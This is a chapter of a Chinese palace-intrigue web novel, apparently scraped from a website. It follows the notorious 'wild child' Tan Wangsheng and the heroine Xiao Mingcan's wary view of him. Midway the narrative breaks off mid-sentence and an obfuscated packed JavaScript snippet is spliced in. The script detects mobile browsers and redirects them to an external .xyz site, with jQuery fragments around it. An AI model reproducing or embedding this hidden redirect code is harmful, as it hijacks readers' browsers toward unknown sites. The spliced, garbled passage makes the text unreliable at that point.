“野孩子”,当时皇城权贵家的孩子私下里都这么称呼他。
没有人知道他的出身和来历,也没有人知道他的名字,而之所以他在一夜之间忽然成了孩子们之间谈论的话题,只是因为前几日有人在镇北王进城时,刚好注意到了队伍前面那个脏兮兮的孩子。
他当时就骑马跟在镇北王身后,不到十岁的模样,肤色稍深,背着把比他个子还高的刀,袍子上沾着土,嘴角也青了一块,不过长得倒是挺好看的。消息灵通的孩子说,他刚刚在进城之前和队伍里的士兵打了一架,那打架的招式完全没有任何路数和技巧,又凶又怪,简直就像野狗扑食。
而十来岁的孩子们向来对同龄人有一种探究般的好奇,尤其是对这种好看又神秘的孩子,所有人都想知道他到底是谁。有人说,他是镇北王的忠兵在战死前托孤的孩子。也有人说,是镇北王在边陲捡到的孤儿,毕竟他看起来又脏又野,而镇北王似乎也没那么重视他。不过更多的说法是,他其实是镇北王一直养在外面的私生子。
但比起这些,流传最多的,除了他的外貌和出身,便是他做的那件在孩子们之间堪称“传奇”的事——有人半夜睡不着,不知是鬼使神还是心念一动,叫来侍从陪自己偷偷爬到屋顶上赏月,结果就看到这野孩子在半夜偷偷翻上了陈侍郎家的墙,一把火给陈侍郎家那棵百年杏树烧了。
这么做的原因,仅仅只是那陈侍郎在朝上当着众人的面挖苦了镇北王几句,还想撺掇几个朝臣一起上奏,以镇北王军队锻造火器挥霍太多为由,降低来年开春的军饷。
当然,这么做后果也可想而知,那野孩子第二日就被镇北王亲自拎着领子扔出了城。
据几个目睹经过的人说,他似乎是被人从被窝里拖出来的,十二月的风雪天,身上只穿了件单薄里衣,场面极其狼狈,极其令人瞠目结舌,甚至大家还来不及知道他的名字,他就彻底消失在众人的生活里了……就像,就像在巷子里咬人后突然横冲直撞跑出城的漂亮野狗。
而当那野孩子再次踏进皇城时,已经是十年后了。
萧明灿在这十年间也听过一些关于他的传闻,几乎都是无意间碰巧听到的,比如镇北王经常带在身边的小子,说他在战场上打架就像是个拿刀跳来跳去的猴子——可凶了。
比如他的名字,妄生。据说这其实是他在四岁那年的某一夜给自己起的,当时他刚和营里的人“切磋”了几次,不出意料地把自己弄得鼻青脸肿。按照言生的小道消息来说,营中士兵找到他时,他正坐在土堆上,“惆怅”地盯着月亮发呆。
镇北王也曾想过让家里人给他起一个更……有美好寓意的名字,就像镇北王的长子,檀朝意,又或是他的小女儿,檀朝盈。但被他拒绝了。
檀妄生。萧明灿觉得,这很符合他的处事风格,不论什么事都显露在表面上。
而事实证明,萧明灿的感觉并没有错。
再后来那些零星又没多少人谈及的传闻里,大家对他的称呼从“那小子”,镇北王带来的野孩子,渐渐变成了“影将军”。随着年岁增长,他在战场上卓越的能力和胆识让他得到了随镇北王入宫的机会,也逐渐成为了皇城权贵谈论的对象,他们有的认为他是镇北王的接班人,有的认为他是适合拉拢的对象,又或是需要警惕的隐患。
无论如何想,但有一点上,大家的想法都出奇地一致——他一定能有一番大作为。
不过很可惜,还没等他在皇城呆多久,那卓越的军功很快就被一大堆让人始料不及的传言给淹没——
他惹出的祸依旧不减当年。
“他昨日还和那几个纨绔子弟一起斗蛐蛐来着。本来没什么事,结果快要散场的时候,一不小心把陈家儿子的宝贝蛐蛐给踩死了。”
当听到言生说起这些时,萧明灿正坐在院内的藤椅里,刚看完师父从南境寄来的信,而信的最后一行字是:当你看到这里时,我大概已经到了那个人人都说是仙境的万花岛了。那时的萧明灿已经二十一岁了。
她已经很久没有和师父一起出城游历了,这几年来宫中事务繁多,她几乎抽不开身,就算有空闲,也不能再像以往那样随心所欲地离开皇城。
偶尔,这会让她想起当年被师父禁足时的日子,那个时候她也像现在这样盘腿坐在藤椅里,一边帮忙整理师父要送进宫的画,一边听着言生和身边婢女讲那个野孩子被扔出城的事。而现在,那野孩子也依旧“活跃”在她耳边。
言生抱剑靠在旁边的木栏上,对此描述道:“陈家十年前就因为那杏树的事对檀妄生有意见,自打檀妄生进城后就一直在心里憋气不敢发作。今日出了这事,陈家小子那愣头青终于忍不下去了,直接要檀妄生赔。檀妄生倒是好说话,问他要多少,结果他说他不要钱,只要个一模一样的蛐蛐。”
“……那他给了吗?”一旁端着水果的婢女忍不住问道。
言生摇摇头,“檀妄生拿不出来。于是那陈家小子就要檀妄生当着众人面给他‘宝贝儿子’的尸体鞠躬道歉,结果不知道怎么回事,两人到最后打起来了。动静闹得太大,甚至惊动了附近巡逻的官兵。”
婢女吃惊地看向她,“啊……?”
“据说陈家小子直接从门里摔到了街上。”言生朝府门抬抬下巴,道,“正好滚到了巡逻官兵的脚边。那官兵把人扶起来的时候,他掌心上还黏着个死掉的蛐蛐,就是他那个‘宝贝儿子’。”
婢女顺着目光看去,有些欲言又止。
“陈家那小子一天不知道在想些什么,脑袋实在蠢得要命。”言生倒没那么顾忌,哼了一声,替她把话说了:“陈家这十年已经走势落魄,尤其是陈老爷子去世后,陈侍郎在朝中混得一天不如一天,没那张嘴讨皇上欢心,也没能力干出什么大作为,仗着陈老爷子在朝上留下的根基才得到了这么个侍郎位置,现在陈老爷子都没了这么多年了,他随时都有可能被皇上踢出去。”
萧明灿把信折好,从托盘里拿出个甜杏,听着言生说:
“谁都知道陈家那小子心里有股气,觉得憋屈,可憋屈就憋屈吧,你找谁发作不好,偏偏找上那个檀妄生。檀妄生再怎么出身不好,干的混事比谁都多,可人现在也是镇北王身边的红人,又刚在北边立了军
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839544|157334||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
功。这要是传到了皇上耳边,皇上若是想借此机会敲打陈家,他们往后的日子更不好过。”
萧明灿觉得这话有道理,无论蛐蛐一事谁对谁错,陈家那小子也不能当着众人的面那么为难檀妄生。陈家在朝中的地位本就岌岌可危,陈侍郎占着位置却能力不足,大多数情况下都靠着见风使舵来到处站队,皇上早就想过要清理这些江山蛀虫,若是真打算借用镇北王来敲打陈家,除非陈家天降个奇才,否则没有任何东山再起的可能。
不过,檀妄生也未必聪明到哪儿去。和这种人打起来就算了,隔着几道院墙,还能打到街上去惊动官兵,也是个……
“奇人。”婢女感慨地摇了摇头,对陈家那小子评价:“……他真是个奇人。”
萧明灿觉得檀妄生这种人就是个莽夫。
镇北王刚在数月前拿下一座小城,这次檀妄生就以几十人的队伍成功击退了边陲小国的骚扰,如今镇北王风头正盛,那些朝臣几乎都在议论他的军功,这是好事,也是坏事。因受曾并肩联手的太傅牵制,如今皇上在用人方面尤为……多疑,镇北王为皇上分忧是好事,但他的势力逐渐庞大、却从未在皇上和太傅之间表明态度,也是皇上无法忽视的一大顾虑。
檀妄生如今闯的祸都是些无足轻重的小事,就算传到皇上面前,也只会被皇上责骂几句,但只是这点便足够了。如今檀家长子被皇上放到了皇城当差,为的就是以此牵制镇北王,可镇北王却反而把重心转移到了一个外人身上……也许镇北王从没这么想过,但他没这么想,不代表别人没这么看。镇北王向来开明,万一打算重新培养一个接班人……或者自己最得力的麾下呢?
毕竟檀妄生在战场上的确是百年难遇的奇才。
所以这就意味着,如果檀妄生再这么闯祸下去,皇上很有可能会在北边情况没那么紧张时,暂时把檀妄生留在皇城,削断这个镇北王用十几年时间培养的臂膀。又或是等着他闯下什么更大祸,从而牵连到镇北王时,让镇北王为了保下檀妄生而不得不在皇上这里做出什么退让,比如部分兵力,比如营中重要军职,又或是关于火铳……
“他简直就像个莫名其妙的沙尘暴,”另一个婢女看了眼府门,摸了摸起了鸡皮疙瘩的手臂,说:“走到哪,哪里就会被搅得人仰马翻。”
虽然这话有些夸张,但……总之,萧明灿吃一口杏子,默默地想,以后还是尽量少和这人靠近,以免被这煞神连累。
当她默默下这个决定时,是个风和日丽的午后,国师府并没有靠近皇宫,也不在闹市,这里一片安静,只有清冽的溪流声,以及婢女们和言生闲聊时的轻笑声,偶尔会有微风拂过,就如师父所说的仙境一样让人感到安和。
而那时的她绝不会想到,当时婢女所说的话并不夸张,檀妄生的确就像是一阵猛烈的沙尘暴,他不仅让所到之处的一切陷入混乱,甚至还让身边人落进了地狱一样的处境。而更糟糕的是,这位煞神并没有找上她,而是她主动选择去接近那个亲手杀死自己部下的鬼。
邪鬼。
那是营啸事件之后,人们对他的新称呼。